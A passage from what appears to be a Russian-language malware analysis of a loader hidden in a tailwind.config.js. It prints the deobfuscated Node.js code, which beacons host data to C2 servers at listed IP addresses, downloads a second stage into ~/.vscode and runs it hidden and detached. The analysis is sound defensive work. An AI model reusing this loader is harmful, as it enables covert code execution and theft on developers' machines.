\u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d \u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f `baseUrl` \u0438 `type` \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b. * `false`, \u0435\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435 \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 C2-\u043e\u0442\u0432\u0435\u0442. *\/function parseServerResponse(body) {  if (!body.startsWith('ZT3')) {    return false;  }  const encoded = body.slice(3);  const decoded = Buffer.from(encoded, 'base64').toString('utf8');  const parts = decoded.split(',');  baseUrl = `http:\/\/${parts[0]}:1244`;  type = parts[1];  return true;}\/** * \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u0435\u043b\u0430\u0435\u0442 POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 `\/keys` \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043d\u0430\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445, * \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430. * * \u0412 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044f\u0442: * - timestamp \u0437\u0430\u043f\u0443\u0441\u043a\u0430; * - \u0442\u0438\u043f payload, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043e\u0442 C2; * - hostname; * - username \u043d\u0430 macOS; * - \u043f\u0443\u0442\u044c \u0438\u043b\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043a\u043e\u0434. * * \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 `\/keys` \u043c\u043e\u0436\u0435\u0442 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u0432 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435: \u043f\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 * \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e infected host\/beaconing, \u0430 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 * \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439. * * @returns {void} *\/function reportHost() {  let hostId = hostname;  if (platform[0] === 'd') {    hostId = `${hostId}+${userInfo.username}`;  }  let commandContext = '5A1';  try {    commandContext += process.argv[1];  } catch {}  request.post({    url: `${baseUrl}\/keys`,    formData: {      ts: timestamp,      type,      hid: hostId,      ss: 'oqr',      cc: commandContext,    },  });}\/** * \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u0442\u043e\u0440\u043e\u0439 \u044d\u0442\u0430\u043f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430 \u0438 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0435\u0433\u043e \u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0443. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e `~\/.vscode`, \u0435\u0441\u043b\u0438 \u0435\u0451 \u0435\u0449\u0451 \u043d\u0435\u0442. * \u0417\u0430\u0442\u0435\u043c \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 JS-payload \u0441 C2 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a `f.js`. * * \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 `~\/.vscode` \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438: * \u0442\u0430\u043a\u0430\u044f \u043f\u0430\u043f\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f * VS Code\/Cursor. * * \u0415\u0441\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c `~\/.vscode` \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u043a\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u043e\u043c\u0430\u0448\u043d\u044e\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e * \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u0430\u043a fallback. * * @returns {void} *\/function downloadAndRunPayload() {  let targetDir = path.join(homeDir, '.vscode');  try {    fs.mkdirSync(targetDir, { recursive: true });  } catch {    targetDir = homeDir;  }  const payloadPath = path.join(targetDir, 'f.js');  try {    fs.rmSync(payloadPath);  } catch {}  request.get(`${baseUrl}\/f\/${type}`, (error, response, body) =&gt; {    if (error) return;    try {      fs.writeFileSync(payloadPath, body);    } catch {}    downloadPackageJson(targetDir);  });}\/** * \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 `package.json` \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043e\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e npm-\u043f\u0440\u043e\u0435\u043a\u0442\u0430. * * \u041f\u043e\u0441\u043b\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f `f.js` \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 `package.json` * \u0441 C2 endpoint `\/p`. * * \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u043c\u0443 payload. * \u0422\u043e \u0435\u0441\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 npm-\u043f\u0440\u043e\u0435\u043a\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 `~\/.vscode`. * * \u0412 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435 \u0435\u0441\u0442\u044c \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430: * \u0435\u0441\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 `package.json` \u043c\u0435\u043d\u044c\u0448\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0442\u0435\u043b\u0430 \u043e\u0442\u0432\u0435\u0442\u0430, * \u0444\u0430\u0439\u043b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f. * * @param {string} targetDir * \u0414\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f, \u043a\u0443\u0434\u0430 \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d `f.js`. * \u041e\u0431\u044b\u0447\u043d\u043e \u044d\u0442\u043e `~\/.vscode`. * * @returns {void} *\/function downloadPackageJson(targetDir) {  const packagePath = path.join(targetDir, 'package.json');  let oldSize = 0;  if (fs.existsSync(packagePath)) {    try {      oldSize = fs.statSync(packagePath).size;    } catch {}  }  request.get(`${baseUrl}\/p`, (error, response, body) =&gt; {    if (error) return;    try {      if (body.length &gt; oldSize) {        fs.writeFileSync(packagePath, body);      }    } catch {}    installDependencies(targetDir);  });}\/** * \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 npm-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u0433\u043e payload. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432\u0438\u0434\u0430: * * `cd \"&lt;targetDir&gt;\" &amp;&amp; npm i --silent` * * \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 * \u0438\u0437 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u0433\u043e `package.json` \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u044c. * * \u0424\u043b\u0430\u0433 `windowsHide: true` \u043d\u0430 Windows \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u043a\u043d\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, * \u0447\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f. * * \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `node_modules` * \u0438 \u0437\u0430\u043f\u0443\u0441\u043a payload. * * @param {string} targetDir * \u0414\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e npm-\u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043e\u043c. * * @returns {void} *\/function installDependencies(targetDir) {  child_process.exec(    `cd \"${targetDir}\" &amp;&amp; npm i --silent`,    { windowsHide: true },    () =&gt; {      ensureNodeModulesAndRun(targetDir);    },  );}\/** * \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `node_modules` \u0438 \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. * * \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b `npm i --silent` \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f `node_modules` * \u043d\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443: * * `npm --prefix \"&lt;targetDir&gt;\" i` * * \u042d\u0442\u043e \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0448\u0430\u043d\u0441 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f\u0445. * * \u0415\u0441\u043b\u0438 `node_modules` \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043b\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0430\u0441\u044c, * \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0443 payload. * * @param {string} targetDir * \u0414\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f, \u0433\u0434\u0435 \u043b\u0435\u0436\u0430\u0442 `f.js`, `package.json` \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 `node_modules`. * * @returns {void} *\/function ensureNodeModulesAndRun(targetDir) {  const nodeModules = path.join(targetDir, 'node_modules');  if (!fs.existsSync(nodeModules)) {    child_process.exec(      `npm --prefix \"${targetDir}\" i`,      { windowsHide: true },      () =&gt; runPayload(targetDir),    );  } else {    runPayload(targetDir);  }}\/** * \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u044b\u0439 `f.js` \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441. * * \u041f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u043c: * * \u041d\u0430 Windows: * - \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0443\u0449\u0438\u0439 Node.js runtime \u0447\u0435\u0440\u0435\u0437 `process.execPath`; * - \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f `f.js`; * - \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u2014 `targetDir`; * - \u043e\u043a\u043d\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `windowsHide: true`; * - stdio \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f. * * \u041d\u0430 Linux\/macOS: * - \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f `nohup`; * - \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f detached; * - stdin\/stdout\/stderr \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 ignore \u0438\u043b\u0438 `\/dev\/null`; * - \u043f\u043e\u0441\u043b\u0435 `unref()` \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f. * * \u0418\u0442\u043e\u0433: payload \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f npm\/build-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, * \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b `tailwind.config.js`. * * @param {string} targetDir * \u0414\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u043f\u0443\u0449\u0435\u043d `f.js`. * * @returns {void} *\/function runPayload(targetDir) {  if (platform[0] === 'w') {    const child = child_process.spawn(      process.execPath,      ['f.js'],      {        cwd: targetDir,        stdio: 'ignore',        windowsHide: true,      },    );    child.unref();  } else {    const child = child_process.spawn(      'nohup',      [process.execPath, 'f.js'],      {        cwd: targetDir,        detached: true,        stdio: ['ignore', '\/dev\/null', '\/dev\/null'],      },    );    child.unref();  }}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h2>\u0427\u0442\u043e \u0436\u0435 \u0442\u0443\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442?<\/h2>\n<p>\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430:<\/p>\n<pre><code>http:\/\/78.142.218.26:1244\/s\/90284f6b7643\/\/ \u0444\u043e\u043b\u043b\u0431\u0435\u043a \u043d\u0430http:\/\/66.235.168.17:1244\/s\/90284f6b7643<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0432\u0438\u0434\u0430:<\/p>\n<pre><code>&lt;host&gt;,&lt;type&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0423\u0441\u043b\u043e\u0432\u043d\u043e<\/p>\n<pre><code>example.com,abc<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u043e\u0433\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0441\u0442\u0440\u043e\u0438\u0442:<\/p>\n<pre><code>http:\/\/example.com:1244<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442<\/p>\n<pre><code>type = \"abc\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0436\u0435\u0440\u0442\u0432\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430:<\/p>\n<pre><code>http:\/\/&lt;host&gt;:1244\/keys<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0421 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438:<\/p>\n<pre><code>{  ts: Date.now().toString(),               \/\/ timestamp \u0437\u0430\u043f\u0443\u0441\u043a\u0430  type: typeFromServer,                    \/\/ \u0442\u0438\u043f\/\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 payload, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043e\u0442 C2  hid: hostnameOrHostnamePlusUsername,     \/\/ host identifier  ss: 'oqr',                               \/\/ \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u0430 \"oqr\", \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043c\u0430\u0440\u043a\u0435\u0440 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u0438  cc: '5A1' + process.argv[1]              \/\/ \u0441\u0442\u0440\u043e\u043a\u0430 \"5A1\" + \u043f\u0443\u0442\u044c \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443\/\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442:<\/p>\n<pre><code>if (platform[0] === 'd') {  hid = hostname + '+' + username;}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><code>os.platform()<\/code> \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442:<\/p>\n<pre><code>win32linuxdarwin<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c username \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u043b\u044f macOS (darwin).<\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e:<\/p>\n<pre><code>~\/.vscode<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0410 \u0435\u0441\u043b\u0438 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u043c\u0430\u0448\u043d\u044f\u044f \u043f\u0430\u043f\u043a\u0430:<\/p>\n<pre><code>let targetDir = path.join(os.homedir(), '.vscode');try {  fs.mkdirSync(targetDir, { recursive: true });} catch {  targetDir = os.homedir();}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0447\u0435\u043c\u0443 <code>.vscode<\/code>? \u042d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0432\u044b\u0431\u043e\u0440 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438. \u0422\u0430\u043a\u0430\u044f \u043f\u0430\u043f\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u043e \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0438 \u043d\u0435 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430 \u0440\u044f\u0434\u043e\u043c \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 VS Code \u0438\u043b\u0438 Cursor.<\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435:<\/p>\n<pre><code>http:\/\/&lt;host&gt;:1244\/f\/&lt;type&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418 payload \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 